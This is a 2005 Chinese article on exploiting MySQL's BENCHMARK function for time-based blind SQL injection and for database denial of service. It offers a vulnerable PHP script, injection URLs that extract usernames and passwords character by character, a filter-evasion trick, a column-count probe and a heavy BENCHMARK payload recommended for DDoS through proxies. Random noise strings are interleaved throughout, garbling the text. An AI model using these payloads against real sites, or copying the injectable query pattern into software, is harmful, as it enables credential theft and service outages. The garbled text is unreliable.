MYSQL中BENCHMARK函数的利用
0 K% d ?7 c# G# y3 a4 m本文作者:SuperHei
. ]$ U( e2 W) ~1 l; q" G0 L文章性质:原创
& t& e( z" o+ l' C发布日期:2005-01-02
6 G3 x+ f7 N. n6 `8 t完成日期:2004-07-09
. h. V% p+ N+ _" n" y% C3 C5 i; w第一部% V, H! [5 s W; Y7 l. o
6 q# A) v2 w6 O# \' k( D- B; y
利用时间推延进行注射---BENCHMARK函数在注射中的利用
6 P% y. R' H; p @) x
/ m- c" q0 `1 M+ B一.前言/思路0 E$ W. m5 G7 ?3 `, ]9 V' e* G& I
1 Z$ @. A# h" H$ w3 p4 f# a
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。' E$ q3 s, v/ R% ^$ J
! Z# p+ P0 |6 }* X
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。( h6 i8 s5 [* X
. H! |& F: `: a) e& P3 c6 s. ^6 @二.关于BENCHMARK函数
$ x3 [9 W% R( \; @ C E0 Z8 G" b8 u* ~4 O T
在MySQL参考手册里可以看到如下描叙:
4 k1 E3 j+ Y* m0 C1 ?$ @
4 V2 H; w; g: U, ]+ @# t5 P
E+ v+ d- w. f4 U7 }--------------------------------------------------------------------------------' C. N: ]0 x( w
* X& s4 n# T9 {: m5 M: VBENCHMARK(count,expr)
4 X' Q: v5 ]* I. c9 }BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
4 \7 J2 y8 `# a. e# {# `* ymysql> select BENCHMARK(1000000,encode("hello","goodbye")); ! W3 d2 v7 S' ?5 [* b# Y
+----------------------------------------------+
5 U( L: I6 y6 Y. t u8 s4 k| BENCHMARK(1000000,encode("hello","goodbye")) | ; E% Q& R3 ~4 m! J
+----------------------------------------------+ / O1 @, P! O( g3 z
| 0 | : I1 \# h+ T( n
+----------------------------------------------+
2 y3 p% c! {( q: h* i% R1 row in set (4.74 sec)
W- v# a6 s9 q6 W6 W8 F4 C' n& W! X
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
- n9 O* N+ l( m3 c2 N# ^& Z6 j. R% I) b
( D$ C* z p$ q4 }) d9 f--------------------------------------------------------------------------------
# e! ?$ C/ Q9 `' L0 W; _) N- r& Y* C# |" ?8 G$ z1 v, F! b2 ^
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
/ u3 t3 R J# Q( T6 O/ q9 J+ {, ~0 o4 m9 W2 R
mysql> select md5( 'test' ); 5 H b/ T. w3 k1 d# p: H2 J, u
+----------------------------------+
* ~, W/ R9 l5 u! a8 O4 a$ x' z! r| md5( 'test' ) |
. a- w/ {/ V) ]# t3 o7 q! `( y* V+----------------------------------+ # g1 b- O$ }3 C
| 098f6bcd4621d373cade4e832627b4f6 | l: n: E9 o8 O. P, b
+----------------------------------+
8 E8 h I% k7 L6 A3 @1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
# c1 [) c" _! @6 Z, v7 I% w$ t! a6 F
mysql> select benchmark( 500000, md5( 'test' ) );
/ U3 \/ g" V9 p* C* d! B8 G+------------------------------------+ 2 Z2 C& O3 O4 d$ r1 H( B1 i3 ]
| benchmark( 500000, md5( 'test' ) ) |
( f0 F' A5 q% T2 z+------------------------------------+
7 _8 G; ]" k. d( w! I& d| 0 |
/ F( ~9 f+ ]: H7 k8 Q% @+------------------------------------+
6 ?( F5 T1 `+ K+ v. J1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
6 A2 B8 B I2 j' h& e# `
, V$ G7 P7 `/ p# G. V+ x
$ B: y6 S0 A7 n! Z* `; O! r 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
+ T4 `" }: W+ K: X1 I. x- _" J; T- |4 @6 F1 Z
三.具体例子
2 T2 H1 e2 p3 k: ~/ C2 M! Y8 }
. I: d H& r' F% Z/ z 首先我们看个简单的php代码:
( o2 }* J4 x o$ W
5 W; x% i/ U8 M! Q) e< ?php
) I( p7 Z* A' Y7 c0 r& @! m( [$servername = "localhost";
5 a, q: [; t8 k, r* k p. v" X3 R$dbusername = "root"; 6 `! l. J2 M' A6 i% ?) X/ Q R) t
$dbpassword = ""; 9 ~/ h3 ^7 H5 j
$dbname = "injection"; 0 G+ R% E: G( A$ U# u" p) E
& t; c7 D* {* }/ D" zmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$ a- H$ O1 O8 Z
0 B% V1 O1 x3 \. V$sql = "SELECT * FROM article WHERE articleid=$id";
7 V4 S) Q! Y- q7 j- A0 x V: |3 Z" |$result = mysql_db_query($dbname,$sql); + _7 v% _: ]) @; \ u
$row = mysql_fetch_array($result);
# j/ }. r! e( f0 c( m) j0 m& s/ N! E; j) h
if (!$row)
( q5 a" \) |$ z' N& o{ 3 v% |9 r: l v9 H
exit; + `- g# J, H% }: j$ O5 G
} - ]. D& i1 g( G* v! v$ D
?>
( {" ~( V" @/ x/ D q& {
/ {; H7 S6 C3 ^4 g s: J2 f, @8 }+ L: y S% `" Q
数据库injection结构和内容如下:# A' H4 F! c* l3 p
8 }" \8 ?0 M% ?0 I5 g) X ~( L
# 数据库 : `injection` # z, x# v$ _# p5 j: E5 o4 U
# . x% I" W- F! w$ t% I% i0 z
; S; G+ G0 Y* c# -------------------------------------------------------- 7 k9 d- [. F+ O8 u) B6 ~- S6 T
% s; i( y' T9 ?9 n# ( g2 v( i5 w, j0 e/ ~
# 表的结构 `article`
8 | ^$ v$ l( `. ]! ]# 9 C! C3 v! G) C8 z
" m' {0 c8 z' q) p
CREATE TABLE `article` (
* a% b) F6 j8 p# l) h' z P3 Q`articleid` int(11) NOT NULL auto_increment, ( H, y, X6 r3 R% C$ o, H9 @$ W5 u, A; m
`title` varchar(100) NOT NULL default '',
% }6 `3 F3 O, {0 r3 t; K1 p3 c`content` text NOT NULL,
3 W- Y, l7 q" mPRIMARY KEY (`articleid`)
0 u# d9 i# n1 G3 u9 H4 ~) TYPE=MyISAM AUTO_INCREMENT=3 ;
* G* m+ w9 j0 r- m5 i* s+ }8 S" a9 n. x
# ' { i Q5 v1 p. @
# 导出表中的数据 `article` 6 n$ v' m% s7 {9 m
# 9 |1 S2 n7 l6 L2 C* U; `+ \- T9 G
- H1 L. p' c |( Z
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
" |! A( |4 N0 U* O9 cINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
' c R% z* G# I& F0 d9 [
4 v: A/ q: |& S ^4 u; a4 E# -------------------------------------------------------- * t a7 Q$ B' w+ o
$ A2 [' Q3 K: [2 b8 Q* Y! R) [# " h! F: A) P8 ]) I
# 表的结构 `user`
) Q' J) S- o) W- d#
7 N' y. Q0 J( J$ Q, Y' a
: L1 L9 i- w; S7 u) w% rCREATE TABLE `user` (
" W8 u& I( Z- w/ i( \`userid` int(11) NOT NULL auto_increment, ' A( X i' t& A* R0 T, r, ^
`username` varchar(20) NOT NULL default '', & @+ l- Q$ I/ \1 G# _
`password` varchar(20) NOT NULL default '', : { o: T* H( X; M% p# C1 j6 R
PRIMARY KEY (`userid`)
& |8 M. _3 n5 A% ^; o7 Z- s: h) TYPE=MyISAM AUTO_INCREMENT=3 ; 0 |# i2 V/ B' f0 I. p4 c$ \0 `
3 z7 X# v0 C4 A) z; Z* l0 y
# : b7 Q) M3 J, G4 L
# 导出表中的数据 `user`
! D `- v) f( D#
F* B) [- E) I+ T' Q" d. ^8 s, i8 k2 g2 v6 a. b$ W0 l& }
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); 9 w: t! ]2 ]/ A. W1 o
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');" u' @6 e* S6 z& o0 ?8 V
* i5 h6 `$ q6 P- k# v$ H
% M6 Y2 U' V; ?2 [ 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
* }/ L* ?& Y* m& E2 v# E/ O. G2 Y3 D* n/ s/ F/ E; P
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
! P/ a# M5 O2 r* s, c) p
4 Q/ K3 Q- x/ o; q. L1 c* g0 _( L, o6 _3 ?( T O' Q
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:( B M# p0 e/ t3 Z* l( J" C3 b3 k9 c
' v9 ^/ D$ m2 Q
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
0 o- _9 h6 j" E4 M1 g( w0 K8 r+ \1 Q
4 |! x4 C4 Z& T0 ? H
3 N) Q+ a1 ^" L7 R: ?5 \ 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
}2 n, H$ } d6 `: ~# P) \# z& z
! z" G" d# h: v6 E! _* y! L& A 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
2 R8 Z& e9 C: _; i. c7 J' w
+ `' ]) c6 U& }6 O7 z2 o/ W6 U' T第二部* B/ Y9 n) f# S: D, G0 i$ A( M
: H( z7 x3 ?2 Q$ ]( G+ G/ q
利用BENCHMARK函数进行ddos攻击
) s' v2 w; _, z# t/ o# E$ c; B6 l7 D+ O0 e. |6 c
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:7 y% E9 R6 y) L3 Q& D( \
$ d9 @4 B4 e2 X% d @http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))0 A" Y' _$ h( u# @2 P; N
0 A3 ]) ^8 A/ k4 A2 O2 K; C; j( T2 Z* D4 M; j4 }0 B3 i
小结
% X1 c; n% C$ C& w0 w" o5 {& _, K( P7 b! Q
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。; K3 D8 ~" n% u( r+ c: j
5 f8 l# N6 E* M5 c / w' {. C% Y4 L; D& P* X
|